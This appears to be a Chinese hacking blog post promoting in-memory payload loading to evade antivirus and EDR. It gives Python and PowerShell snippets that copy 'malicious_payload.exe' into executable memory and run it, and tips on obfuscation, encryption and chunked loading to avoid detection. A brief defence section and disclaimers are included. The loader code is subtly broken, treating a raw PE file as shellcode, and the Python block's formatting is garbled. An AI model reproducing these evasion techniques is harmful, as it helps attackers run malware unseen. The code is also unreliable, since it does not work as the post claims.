0x01 内存漫游的诱惑

内存加载免杀，这个词汇在黑客社区中几乎就是魔法的代名词，很多攻击者与红队都会为其着迷。这种技术的核心魅力在于，它能够让攻击载荷不落地于磁盘，直接在内存中执行，从而绕过大多数基于文件签名的杀软和EDR检测。在当今这个杀软防护不断提升的时代，内存加载成为了攻击者们的宠儿。

内存加载技术的实现可以通过多种方法，包括但不限于DLL注入、代码反射、内存映射文件等。在这篇文章中，我们主要关注利用Python和PowerShell进行内存加载的技术栈，这是因为它们是相对容易上手且广泛使用的工具。本文所提供的内容仅限授权安全测试，供安全研究人员学习，请勿用于非法用途。

漫游环境搭建指南

黑客示意图

为了不在真实环境中造成不可预测的影响，这里我们推荐使用虚拟化环境来进行测试。通过VirtualBox或者VMware等软件，你可以迅速搭建起一个包含Windows 10、Kali Linux等不同系统的实验室。在Windows环境下，我们需要安装PowerShell和Python环境，这样可以支持我们后续的攻击代码执行。

  1. VirtualBox/VMware：选择任意一种虚拟化软件，根据它们的安装向导完成安装。
  2. Windows 10：安装一个全新的Windows 10系统，确保开启PowerShell和Python。
  3. Kali Linux：作为攻击发起机，安装Kali Linux可以帮助我们使用一些内置的渗透测试工具。
  4. 网络设置：将所有虚拟机设置在同一网络中，确保它们能够互相通信。

无痕代码的艺术

Python实现

下面是一个经典的Python内存加载代码示例，它演示了如何将一个PE文件加载到内存中并执行。

<pre><code class="language-python">import ctypes

def load_pe_to_memory(pe_path): with open(pe_path, &quot;rb&quot;) as pe_file: pe_data = pe_file.read()

Allocate memory in the process

ptr = ctypes.windll.kernel32.VirtualAlloc( None, len(pe_data), 0x3000, 0x40 )

Copy PE file to allocated memory

ctypes.windll.kernel32.RtlMoveMemory( ptr, pe_data, len(pe_data) )

Function prototype for starting PE

run_pe = ctypes.CFUNCTYPE(ctypes.c_void_p) start_pe = run_pe(ptr)

Execute the PE

start_pe()

使用方法：传入PE文件路径

load_pe_to_memory(&quot;malicious_payload.exe&quot;)</code></pre>

这个Python脚本主要通过ctypes模块调用Windows API，利用VirtualAlloc和RtlMoveMemory函数在内存中分配区域并加载PE文件。然后我们定义一个函数指针run_pe来指向该内存区域并执行。

PowerShell实现

黑客示意图

PowerShell作为Windows平台的脚本语言，其强大的功能不仅限于系统管理，也为攻击者提供了便利。

<pre><code class="language-powershell">$peBytes = [System.IO.File]::ReadAllBytes(&quot;C:\path\to\malicious_payload.exe&quot;)

Allocate memory

$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($peBytes.Length)

Copy PE file to allocated memory

[System.Runtime.InteropServices.Marshal]::Copy($peBytes, 0, $ptr, $peBytes.Length)

Define a delegate for execution

$runDelegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, [Action])

Execute the PE

$runDelegate.Invoke()</code></pre>

这段PowerShell脚本完成了与Python脚本相同的功能，通过使用.NET的Marshal类来进行内存操作和函数指针的调用。这些代码段虽然简单，但在某些场景下非常有效。

免杀技巧锦囊

要在内存中加载攻击载荷并保持免杀，我们可以采取多种策略。首先，对于Python和PowerShell代码，可以通过混淆技术隐藏真实功能。其次，利用反射技术可以使代码动态生成并执行，从而避免静态分析。

  1. 代码混淆：通过工具如PyArmor来混淆Python代码，或者使用PowerShell混淆器模块，例如Invoke-Obfuscation。
  2. 反射技术：通过反射生成方法体，并在运行时动态生成和执行代码。
  3. 加密与解密：将你的Payload加密存储，运行时解密后加载到内存执行。
  4. 分段加载：将大Payload分解成小块，动态拼接。

监测与防御的法则

虽然内存加载技术强大，但也并非无懈可击。了解攻击者的工具和方法后，防御者可以采取相应措施：

  1. 行为检测：通过建立正常行为基线，检测异常内存分配或可疑的脚本执行。
  2. EDR工具：优秀的EDR解决方案不仅依赖于签名检测，还通过监控内存行为和系统调用来检测威胁。
  3. 网络流量分析：分析内网流量，识别可疑的远控C2通信模式。
  4. 定期系统检测：运行内存扫描工具和完整性检查，识别典型的内存加载行为。

黑客示意图

实战经验的回声

在多年的渗透测试中，内存加载技术一直是我们红队的秘密武器。通过这种技术，我们能够悄无声息地潜入目标网络，在不惊动对方任何警报的情况下完成任务。然而，必须时刻记住，“没有完美的攻击，只有不断进化的技术”。安全测试人员应不断学习和更新自己的工具集，以适应不断变化的防御环境。

黑客示意图

记住：切勿用于非法目的，永远将学到的技能用于提高网络安全。

这篇文章仅是抛砖引玉，期待你在真实环境中的更多探索。保持安全，保持好奇！